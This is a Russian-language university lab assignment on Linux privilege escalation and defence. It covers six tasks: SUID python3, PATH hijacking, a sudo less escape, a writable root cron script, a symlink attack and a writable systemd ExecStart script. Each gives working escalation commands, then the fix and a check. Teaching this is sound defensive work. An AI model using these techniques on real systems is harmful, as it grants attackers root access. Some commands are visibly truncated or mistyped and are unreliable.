

Лабораторная работа: эскалация привилегий и защита ОС Linux

Среда выполнения: виртуальная машина VirtualBox / VMware / QEMU, Debian 13 (Trixie)

Формат: практическая работа по типу Nebula / Lin.Security — «атака → защита → проверка»

Виртуальная машина

- **Образ ВМ:** [скачать](#)
- **ОС:** Debian 13 (Trixie)
- **Логин:** root
- **Пароль:** qwe123!@#

0. Общие сведения

0.1. Подготовка стенда

1. Запустите скаченную или разверните чистую ВМ Debian 13 (минимальная установка, без десктопа — так проще и быстрее).

2. Скопируйте на ВМ скрипт lab_setup.sh

```
# Скачиваем скрипт подготовки лабораторного стенда из ветки 2026_fall репозитория курса
wget https://raw.githubusercontent.com/james116blue/os-protection/refs/heads/2026_fall
```

3. Запустите его от root, указав свой идентификатор (ФИО, логин или номер по списку группы):

```
# Делаем скачанный скрипт исполняемым
chmod +x lab_setup.sh
# Запускаем от root и передаём свой идентификатор (ФИО) — подставьте своё значение;
# скрипт создаст стенд и напечатает метку LAB_TOKEN
sudo ./lab_setup.sh "Ivanov_I_I"
```

4. Скрипт выведет уникальную **метку лабораторной работы** (LAB_TOKEN) — 16-символьный hex-идентификатор, построенный на основе вашего идентификатора, имени хоста, времени запуска и случайного числа. Эта метка автоматически встраивается в приглашение командной строки (PS1) всех пользователей и в /etc/motd.

0.2. Правило анти-плагиата

На каждом скриншоте в отчёте должна быть видна метка [LAB:xxxxxxxxxxxxxxxx] в начале строки приглашения терминала. Скриншоты без этой метки, с чужой меткой или с меткой, не совпадающей с той, что выдал ваш собственный запуск lab_setup.sh, не засчитываются — это признак того, что работа выполнена не на своей машине или скопирована у другого студента.

Метку также можно вывести командой:

```
# Выводим значение переменной окружения с меткой лабораторной работы
echo "$LAB_TOKEN"
# То же значение из файла — на случай, если переменная в этом сеансе ещё не подхватила
cat /etc/lab-token
```

Откройте новый терминал (или выполните `exec bash -l`) после запуска скрипта, чтобы метка появилась в приглашении.

0.3. Роли

В каждом задании вы последовательно выступаете в двух ролях:

- **«Нарушитель»** — работаете под учётной записью student (пароль student), созданной скриптом. Именно из-под неё выполняется эксплуатация уязвимости.

- **«Администратор»** — работаете под своей обычной учётной записью с правами `sudo` (той, под которой вы устанавливали VM и запускали `lab_setup.sh`). Из-под неё вы вносите исправления. Если работа под `root`, то использование команды `sudo` не требуется

Переключение между ролями — обычным `su - student` / выходом обратно, либо через два разных терминальных сеанса (что обычно удобнее для скриншотов).

0.4. Структура каждого задания

Для каждого из шести заданий выполните три шага и дважды сделайте скриншот:

1. **Эксплуатация** — воспроизведите атаку, подтвердите успех соответствующим флагом из `/root/flags/`.
2. **Защита** — внесите указанное исправление от имени администратора.
3. **Проверка** — повторите попытку атаки и зафиксируйте, что она больше не работает.

0.5. Полезные команды аудита (пригодятся во всех заданиях)

```
# Поиск всех файлов с установленным SUID/SGID-битом
find / -xdev -perm -4000 -type f 2>/dev/null
find / -xdev -perm -2000 -type f 2>/dev/null
```

```
# Что текущему пользователю разрешено через sudo
sudo -l
```

```
# Задания cron на уровне системы и пользователя
cat /etc/crontab /etc/cron.d/* 2>/dev/null
crontab -l
```

```
# Каталоги, доступные для записи всем
find / -xdev -writable -type d 2>/dev/null
```

```
# Активные таймеры и сервисы systemd
systemctl list-timers
systemctl list-units --type=service --state=running
```

Эти команды стоит прогонять в начале каждого задания — в реальной работе администратора именно так находят подобные ошибки конфигурации до того, как их найдёт злоумышленник.

Задание 1. Опасный SUID-бит

Теория

Бит SUID (`setuid`) на исполняемом файле заставляет процесс выполняться с правами **владельца файла**, а не правами того, кто его запустил. Если SUID установлен на программу, которая умеет выполнять произвольный код (интерпретатор, редактор, архиватор и т. п.), любой локальный пользователь получает возможность выполнить код с правами владельца — обычно `root`.

В учебном окружении `lab_setup.sh` «по ошибке администратора» установил SUID-бит на системный интерпретатор `python3`.

Шаг 1. Эксплуатация (роль: `student`)

```
# Заходим под уязвимого пользователя student (пароль: student)
su - student
# Показываем текущего пользователя (пока это student)
id
# Ищем SUID-файлы на корневом разделе и оставляем только строки про python
find / -xdev -perm -4000 -type f 2>/dev/null | grep python
```

```
# Эксплойт: python3 с SUID стартует от root, setuid(0) закрепляет root,  
# os.system запускает id и читает флаг1  
python3 -c 'import os; os.setuid(0); os.setgid(0); os.system("id; cat /root/flags/flag1.tx
```

Если атака удалась, вывод `id` внутри запущенной оболочки покажет `uid=0(root)`, а команда выведет содержимое `flag1.txt`.

Скриншот 1.1. Терминал с видимой меткой `[LAB:...]`, вывод команды `find ... | grep python`, показывающий SUID-бит на `python3`, и результат эксплойта с содержимым `flag1.txt`.

Шаг 2. Защита (роль: администратор)

Снимите бит SUID — для интерпретатора общего назначения он не нужен никогда:

```
# Возвращаемся из-под student в административную учётную запись  
exit # вернуться из-под student  
# Определяем РЕАЛЬНЫЙ путь к бинарью python3 (раскрываем символические ссылки)  
PYBIN=$(readlink -f "$(command -v python3)")  
# Снимаем SUID-бит у владельца: интерпретатору он не нужен  
sudo chmod u-s "$PYBIN"  
# Проверяем, что бит s у владельца исчез  
ls -l "$PYBIN"
```

Общая рекомендация по защите: регулярно инвентаризировать SUID/SGID-файлы (`find / -perm -4000`) и сверять список с эталонным (пакеты, устанавливающие SUID намеренно — `passwd`, `sudo`, `ping` и т. п.). Любое расхождение — повод для разбирательства.

Шаг 3. Проверка (роль: student)

```
# Снова заходим под student (роль нарушителя)  
su - student  
# Повторяем эксплойт — теперь смена uid на 0 запрещена (ждём PermissionError)  
python3 -c 'import os; os.setuid(0); os.setgid(0); os.system("id")'
```

Ожидаемый результат — исключение `PermissionError: [Errno 1] Operation not permitted`: непривилегированный процесс больше не может сменить `uid` на 0.

Скриншот 1.2. Терминал с меткой `[LAB:...]`, повторная попытка эксплойта и видимая ошибка `Operation not permitted`.

Задание 2. SUID-бинарь + уязвимость \$PATH

Теория

Даже «безопасный на вид» SUID-бинарь, написанный самим администратором, может быть уязвим, если он вызывает внешние команды **без указания полного пути** (например, через `system()` на C или `os.system()/popen()` без абсолютного пути). Такой вызов ищет команду по переменной окружения `PATN`. Если атакующий поставит в начало `PATN` каталог со своим файлом, имя которого совпадает с вызываемой командой, SUID-процесс выполнит код атакующего с правами владельца файла.

В окружении развёрнут бинарь `/usr/local/bin/sysinfo` (root, SUID), который внутри вызывает `id` без полного пути.

Шаг 1. Эксплуатация (роль: student)

```
# Заходим под student  
su - student  
# Смотрим владельца и права SUID-бинаря (виден бит s у владельца)  
ls -l /usr/local/bin/sysinfo  
# Запускаем утилиту как обычно, без подмены PATH — базовое поведение
```

```

/usr/local/bin/sysinfo          # обычный, «доверенный» запуск

# Готовим каталог для подложной команды id
mkdir -p ~/evil
# Создаём свой ~/evil/id: печатает флаг и вызывает настоящий /bin/id.
# ВНИМАНИЕ: строки до EOF ("#!/bin/bash", cat, /bin/id) – это содержимое файла, а не коман
cat > ~/evil/id <<'EOF'
#!/bin/bash
cat /root/flags/flag2.txt
/bin/id  # чтобы утилита всё ещё выглядела «рабочей»
EOF
# Делаем подложный файл исполняемым
chmod +x ~/evil/id

# Запускаем sysinfo, поставив ~/evil первым в PATH – sysinfo вызовет нашу id с правами root
PATH=~/:$PATH /usr/local/bin/sysinfo

```

Если атака удалась, вместо (или вместе с) обычного вывода id появится содержимое flag2.txt — значит, вместо системной id выполнен подложенный скрипт, причём с правами root (файл sysinfo имеет SUID).

Скриншот 2.1. Терминал с меткой [LAB:...]: содержимое ~/evil/id, запуск PATH=~/:\$PATH /usr/local/bin/sysinfo, вывод flag2.txt.

Шаг 2. Защита (роль: администратор)

Исправление — на уровне исходного кода: вызывать команды только по полному пути (или явно очищать PATH в начале программы). Пересоберите бинарь с исправлением:

```

# Возвращаемся в административную учётную запись
exit # вернуться из-под student

# Пишем исправленный исходник: id вызывается по абсолютному пути /usr/bin/id.
# Строки до EOF – содержимое файла /tmp/sysinfo_fixed.c
cat > /tmp/sysinfo_fixed.c <<'EOF'
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>

int main(void) {
    printf("Сбор информации о системе...\n");
    /* ИСПРАВЛЕНИЕ: полный путь вместо поиска по $PATH */
    execl("/usr/bin/id", "id", (char *)NULL);
    perror("execl");
    return 1;
}
EOF

# Компилируем исправленный бинарь на место старого
sudo gcc -o /usr/local/bin/sysinfo /tmp/sysinfo_fixed.c
# Владелец – root
sudo chown root:root /usr/local/bin/sysinfo
# Возвращаем SUID-бит (4), как и было задумано для утилиты
sudo chmod 4755 /usr/local/bin/sysinfo

```

Общая рекомендация по защите: в привилегированном коде никогда не полагаться на \$PATH; вызывать команды по абсолютному пути (execve/execl) вместо system()/popen(), которые порождают /bin/sh -c "... и тем самым снова зависят от окружения.

Шаг 3. Проверка (роль: student)

```
# Роль нарушителя
su - student
# Та же атака: теперь вызывается /usr/bin/id, подложенный файл игнорируется
PATH=~/.evil:$PATH /usr/local/bin/sysinfo
```

Ожидаемый результат — выполняется настоящая /usr/bin/id, содержимое flag2.txt в выводе не появляется, подложенный ~/.evil/id не вызывается.

Скриншот 2.2. Терминал с меткой [LAB:...], тот же запуск с «отравленным» \$PATH, но вывод — только легитимный результат id, без содержимого флага.

Задание 3. Опасная запись в sudoers

Теория

Файл /etc/sudoers (и файлы в /etc/sudoers.d/) определяют, какие команды пользователь может выполнять через sudo, в том числе без пароля (NOPASSWD). Если разрешённая команда — это программа с собственным интерактивным режимом (редактор, пейджер, архиватор), пользователь может выйти из «разрешённого» сценария работы программы в произвольную команду, унаследовав привилегии sudo. Это задокументированный класс атак (так называемые «GTFOBins»-техники для sudo).

В окружении для student разрешён sudo less без пароля.

Шаг 1. Эксплуатация (роль: student)

```
# Роль нарушителя
su - student
# Смотрим, что разрешено студенту через sudo (увидим запись NOPASSWD про less)
sudo -l
# Запускаем less от имени root
sudo less /etc/hostname
```

Находясь внутри пейджера less, выполните:

```
!/bin/sh
```

Это команда самого less (вызов внешней команды), а не шелла — вводится прямо в режиме просмотра. Откроется интерактивная оболочка. Проверьте привилегии и прочитайте флаг:

```
# Проверяем, что мы уже root (uid=0) — эксплойт удался
id
# Читаем флаг, недоступный обычному пользователю
cat /root/flags/flag3.txt
# Выходим из полученной оболочки обратно в less
exit # выход из shell, затем q — выход из less
```

Скриншот 3.1. Терминал с меткой [LAB:...]: вывод sudo -l, момент выхода в shell из less (!/bin/sh), вывод id с uid=0, содержимое flag3.txt.

Шаг 2. Защита (роль: администратор)

Самое надёжное исправление — вообще не выдавать NOPASSWD на программы с возможностью выполнять произвольные команды. Если доступ действительно нужен, его нужно сузить до одной безопасной операции, а не до целой программы:

```
# Возвращаемся в административную учётную запись
exit # вернуться из-под student
```

```
# Открываем файл sudoers-включения через visudo (он проверит синтаксис при сохранении)
sudo visudo -f /etc/sudoers.d/90-lab
```

Замените содержимое файла, например, на безопасный, максимально узкий вариант (просмотр одного конкретного файла без выхода в shell не гарантирован даже так — поэтому в учебных целях правильный ответ почти всегда «убрать доступ полностью»):

```
# Опасная запись удалена по итогам аудита.  
# Доступ к less через sudo без пароля не выдаётся.
```

Проверьте синтаксис и права:

```
# Проверяем синтаксис файла (-c = check)  
sudo visudo -c -f /etc/sudoers.d/90-lab  
# Штатные права sudoers-файла: чтение владельцу и группе  
sudo chmod 440 /etc/sudoers.d/90-lab
```

Общая рекомендация по защите: регулярно выполнять `sudo -l` за каждого пользователя (или просматривать `/etc/sudoers*`) и сверяться со списком программ, у которых есть известные «escape»-техники (`less`, `vi`, `vim`, `more`, `man`, `find`, `awk`, `python` и десятки других). Если доступ действительно необходим — использовать `sudoedit`, конкретные аргументы команды без wildcard и, где возможно, тег `NOEXEC`.

Шаг 3. Проверка (роль: student)

```
# Роль нарушителя  
su - student  
# Убеждаемся, что записи про less больше нет  
sudo -l  
# Пробуем снова — теперь sudo запросит пароль либо откажет  
sudo less /etc/hostname
```

Ожидаемый результат — `less` в списке `sudo -l` больше не числится, `sudo less ...` запрашивает пароль (которого у `student` для этой команды нет) либо сразу отклоняется с `sudo: a password is required/not allowed`.

Скриншот 3.2. Терминал с меткой [LAB:...]: вывод `sudo -l` без записи про `less`, попытка `sudo less /etc/hostname` с отказом.

Задание 4. Root-cron + каталог с правом записи для всех

Теория

Планировщик `cron` часто используется для регулярных задач от имени `root`. Если скрипт, который запускает `root` по расписанию, лежит в каталоге, доступном для записи непривилегированному пользователю, этот пользователь может подменить содержимое скрипта — и при следующем срабатывании `cron` код атакующего выполнится с правами `root`.

В окружении каталог `/opt/lab-cron` (где лежит `healthcheck.sh`, запускаемый `root` каждую минуту) имеет права `777`.

Шаг 1. Эксплуатация (роль: student)

```
# Роль нарушителя  
su - student  
# Права на каталог (увидим 777 — запись разрешена всем)  
ls -ld /opt/lab-cron  
# Права на сам скрипт  
ls -l /opt/lab-cron/healthcheck.sh  
# Смотрим задание cron: скрипт запускается от root каждую минуту  
cat /etc/cron.d/lab-healthcheck  
  
# Подменяем скрипт своим. Строки до EOF — новое содержимое файла healthcheck.sh  
cat > /opt/lab-cron/healthcheck.sh <<'EOF'
```

```
#!/bin/bash
cp /root/flags/flag4.txt /tmp/flag4_stolen.txt
chmod 644 /tmp/flag4_stolen.txt
date >> /var/log/lab-healthcheck.log
EOF
# Сохраняем исполняемость после подмены
chmod 755 /opt/lab-cron/healthcheck.sh
```

Подождите до минуты (cron срабатывает раз в минуту) и проверьте результат:

```
# Ждём чуть больше минуты, чтобы cron выполнил подменённый скрипт
sleep 65
# Читаем украденный флаг — значит, наш код выполнялся от root
cat /tmp/flag4_stolen.txt
```

Файл /tmp/flag4_stolen.txt появился и читается от имени student, хотя исходный flag4.txt в /root/flags/ доступен только root — это и есть эскалация: ваш код выполнялся от имени root.

Скриншот 4.1. Терминал с меткой [LAB:...]: права /opt/lab-cron (777), подменённое содержимое healthcheck.sh, вывод cat /tmp/flag4_stolen.txt с содержимым флага.

Шаг 2. Защита (роль: администратор)

```
# Возвращаемся в административную учётную запись
exit # вернуться из-под student

# Убираем украденную копию флага
sudo rm -f /tmp/flag4_stolen.txt
# Снимаем запись для всех с каталога
sudo chmod 755 /opt/lab-cron
# Возвращаем владельца root
sudo chown root:root /opt/lab-cron

# восстановить легитимное содержимое скрипта
sudo tee /opt/lab-cron/healthcheck.sh > /dev/null <<'EOF'
#!/bin/bash
date >> /var/log/lab-healthcheck.log
EOF
# Возвращаем владельца root для скрипта
sudo chown root:root /opt/lab-cron/healthcheck.sh
# Права без записи для посторонних
sudo chmod 755 /opt/lab-cron/healthcheck.sh
```

Общая рекомендация по защите: скрипты, запускаемые от root (через cron, systemd, init), и каталоги, в которых они лежат, должны быть доступны для записи только root. Полезно также держать контрольные суммы «эталонных» root-скриптов и проверять их перед выполнением.

Шаг 3. Проверка (роль: student)

```
# Роль нарушителя
su - student
# Пытаемся дозаписать в скрипт — ожидаем Permission denied
echo "echo PWNED > /tmp/pwn_test" >> /opt/lab-cron/healthcheck.sh
```

Ожидаемый результат — bash: /opt/lab-cron/healthcheck.sh: Permission denied (или ошибка >> при попытке дозаписи): каталог и файл больше не доступны для записи обычному пользователю.

Скриншот 4.2. Терминал с меткой [LAB:...]: права /opt/lab-cron после исправления (755, root:root) и ошибка Permission denied при попытке повторной атаки.

Задание 5. Symlink-атака на привилегированный «читатель» файлов

Теория

Если привилегированный процесс (запускаемый от root) читает файл по заранее известному пути, не проверяя, что это обычный файл, а не символическая ссылка (symlink), непривилегированный пользователь, контролирующий этот путь, может подменить файл симлинком на любой файл в системе — в том числе на такой, который сам по себе ему читать не разрешено (например, файл в /root). Процесс root прочитает содержимое по симлинку и может «утечь» его туда, где атакующий уже имеет доступ на чтение.

В окружении root-скрипт /opt/lab-cron/collector.sh каждую минуту копирует содержимое /var/lab/intake/submission.txt (куда student имеет право писать — штатная функция «отправить заявку») в публично читаемый файл /var/lab/public/last_report.txt, не проверяя тип файла.

Шаг 1. Эксплуатация (роль: student)

```
# Роль нарушителя
su - student
# Смотрим штатное содержимое публичного отчёта
cat /var/lab/public/last_report.txt # обычное, штатное содержимое

# Удаляем свою заявку (в этом каталоге писать разрешено)
rm -f /var/lab/intake/submission.txt
# Подменяем её символической ссылкой на недоступный флаг
ln -s /root/flags/flag5.txt /var/lab/intake/submission.txt
# Убеждаемся, что это теперь симлинк
ls -l /var/lab/intake/submission.txt
```

Подождите срабатывания cron и проверьте результат:

```
# Ждём срабатывания cron
sleep 65
# В публично читаемом файле появляется содержимое флага — root «слил» его через симлинк
cat /var/lab/public/last_report.txt
```

Хотя student не может прочитать /root/flags/flag5.txt напрямую (права 600, владелец root), в публично читаемом last_report.txt появляется его содержимое — скрипт root прочитал файл по символической ссылке и «слил» его содержимое наружу.

Скриншот 5.1. Терминал с меткой [LAB:...]: попытка прямого чтения /root/flags/flag5.txt (Permission denied), создание симлинка, и содержимое флага, появившееся в /var/lab/public/last_report.txt.

Шаг 2. Защита (роль: администратор)

Добавьте в скрипт проверку, что источник — обычный файл, а не симлинк, прежде чем его читать:

```
# Возвращаемся в административную учётную запись
exit # вернуться из-под student

# Пишем исправленный collector.sh с проверкой на симлинк (-L).
# Строки до EOF — содержимое файла collector.sh
sudo tee /opt/lab-cron/collector.sh > /dev/null <<'EOF'
#!/bin/bash
SRC="/var/lab/intake/submission.txt"
OUT="/var/lab/public/last_report.txt"

if [ -L "$SRC" ]; then
```

```
echo "$(date): отказ — $SRC является симлинком" >> /var/log/lab-collector-errors.log
exit 1
fi
```

```
cat "$SRC" > "$OUT"
chmod 644 "$OUT"
EOF
```

```
# Возвращаем владельца root
```

```
sudo chown root:root /opt/lab-cron/collector.sh
```

```
# Права без записи для посторонних
```

```
sudo chmod 755 /opt/lab-cron/collector.sh
```

```
# восстановить штатное содержимое заявки
```

```
sudo -u student bash -c 'echo "тестовая заявка" > /var/lab/intake/submission.txt'
```

Общая рекомендация по защите: привилегированный код не должен читать или писать файлы по путям, частично или полностью контролируемым непривилегированным пользователем, без проверки `-L` (не симлинк) непосредственно перед операцией; ещё надёжнее — открывать файл с флагом `O_NOFOLLOW` или монтировать такие каталоги с опцией `nosymfollow`, если она доступна в используемом ядре.

Шаг 3. Проверка (роль: student)

```
# Роль нарушителя
```

```
su - student
```

```
# Снова удаляем заявку и подменяем её симлинком на флаг
```

```
rm -f /var/lab/intake/submission.txt
```

```
ln -s /root/flags/flag5.txt /var/lab/intake/submission.txt
```

```
# Ждём срабатывания cron
```

```
sleep 65
```

```
# Флага быть не должно: скрипт отказывается читать симлинк
```

```
cat /var/lab/public/last_report.txt
```

Ожидаемый результат — `last_report.txt` не изменился (или пуст/содержит старое значение), содержимое `flag5.txt` в нём не появляется.

```
# Смотрим лог отказов (нужны права администратора)
```

```
sudo cat /var/log/lab-collector-errors.log # может потребовать доступа администратора
```

Скриншот 5.2. Терминал с меткой `[LAB: ...]`: повторная попытка через симлинк и `last_report.txt`, не содержащий флага (при наличии доступа — также строка отказа в `/var/log/lab-collector-errors.log`).

Задание 6. systemd-юнит с неправильно настроенными правами

Теория

`systemd`-сервисы и таймеры часто выполняются от `root`. Если файл, на который указывает `ExecStart=`, доступен для записи непривилегированному пользователю (даже если сам `unit`-файл в `/etc/systemd/system/` защищён нормально), этот пользователь может изменить исполняемый скрипт — и при следующем запуске сервиса/таймера код атакующего выполнится от `root`.

В окружении сервис `lab-worker.service` (и таймер `lab-worker.timer`, срабатывающий каждую минуту) запускает `/opt/lab-systemd/worker.sh`, у которого права `777`.

Шаг 1. Эксплуатация (роль: student)

```
# Роль нарушителя
```

```
su - student
```

```
# Состояние таймера (интервал срабатывания)
```

```

systemctl status lab-worker.timer
# Содержимое юнита, включая ExecStart= (что и от кого запускается)
systemctl cat lab-worker.service
# Права скрипта (увидим 777 — запись разрешена всем)
ls -l /opt/lab-systemd/worker.sh

# Подменяем скрипт. Строки до EOF — новое содержимое файла worker.sh
cat > /opt/lab-systemd/worker.sh <<'EOF'
#!/bin/bash
cp /root/flags/flag6.txt /tmp/flag6_stolen.txt
chmod 644 /tmp/flag6_stolen.txt
date >> /var/log/lab-worker.log
EOF
# Сохраняем исполняемость
chmod 755 /opt/lab-systemd/worker.sh

```

Подождите срабатывания таймера (интервал — минута) и проверьте результат:

```

# Ждём срабатывания таймера
sleep 65
# Читаем украденный флаг — подменённый скрипт выполнен от root
cat /tmp/flag6_stolen.txt

```

Скриншот 6.1. Терминал с меткой [LAB:...]: права /opt/lab-systemd/worker.sh (777), подменённое содержимое скрипта, содержимое /tmp/flag6_stolen.txt после срабатывания таймера.

Шаг 2. Защита (роль: администратор)

```

# Возвращаемся в административную учётную запись
exit # вернуться из-под student

# Убираем копию флага
sudo rm -f /tmp/flag6_stolen.txt
# Перезаписываем скрипт легитимным содержимым. Строки до EOF — содержимое файла worker.sh
sudo tee /opt/lab-systemd/worker.sh > /dev/null <<'EOF'
#!/bin/bash
date >> /var/log/lab-worker.log
EOF
# Возвращаем владельца root
sudo chown root:root /opt/lab-systemd/worker.sh
# Доступ только владельцу (systemd запускает ExecStart от root)
sudo chmod 700 /opt/lab-systemd/worker.sh

```

Файл не обязан быть доступен на выполнение кому-то, кроме владельца: systemd запускает ExecStart от имени, заданного в юните (по умолчанию — root), и для этого достаточно прав владельца.

Дополнительно можно проверить юнит специализированной утилитой аудита:

```

# Оценка защищённости юнита и подсказки по параметрам изоляции
sudo systemd-analyze security lab-worker.service

```

Общая рекомендация по защите: все файлы, упомянутые в ExecStart=, ExecStart-Pre=, EnvironmentFile=, WorkingDirectory= системного юнита, должны принадлежать root (или сервисному пользователю) и быть недоступны для записи никому другому; сами unit-файлы в /etc/systemd/system/ должны иметь права не выше 644 и владельца root.

Шаг 3. Проверка (роль: student)

```

# Роль нарушителя
su - student
# Пытаемся дозаписать в скрипт — ожидаем Permission denied
echo "echo PWNED > /tmp/pwn_test2" >> /opt/lab-systemd/worker.sh

```

Ожидаемый результат — `bash: /opt/lab-systemd/worker.sh: Permission denied`: скрипт больше не доступен для записи пользователю `student`.

Скриншот 6.2. Терминал с меткой [LAB:...]: права `/opt/lab-systemd/worker.sh` после исправления (700, root:root) и ошибка `Permission denied` при попытке повторной атаки.

Итоговая форма отчёта

Для каждого задания в отчёт включаются:

1. Номер и название задания.
2. Скриншот эксплуатации (со флагом и меткой [LAB:...]).
3. Команды/изменения, применённые для защиты (копипаста из терминала администратора достаточно).
4. Скриншот проверки (с отказом в доступе / отсутствием флага и меткой [LAB:...]).
5. Один-два предложения: в чём заключалась первопричина уязвимости и почему примененное исправление её устраняет (не просто «запретили», а что именно в логике доступа изменилось).

№	Задание	Флаг получен (экспл.)	Атака не работает (защита)
1	Опасный SUID	flag1	[]
2	SUID + \$PATH	flag2	[]
3	Опасный sudoers	flag3	[]
4	root-cron + writable dir	flag4	[]
5	Symlink + привилегированный читатель	flag5	[]
6	systemd с неверными правами	flag6	[]

Отчёты без видимой на всех скриншотах метки `LAB_TOKEN`, либо с меткой, не совпадающей с той, что выдал собственный запуск `lab_setup.sh` студента, к проверке не принимаются.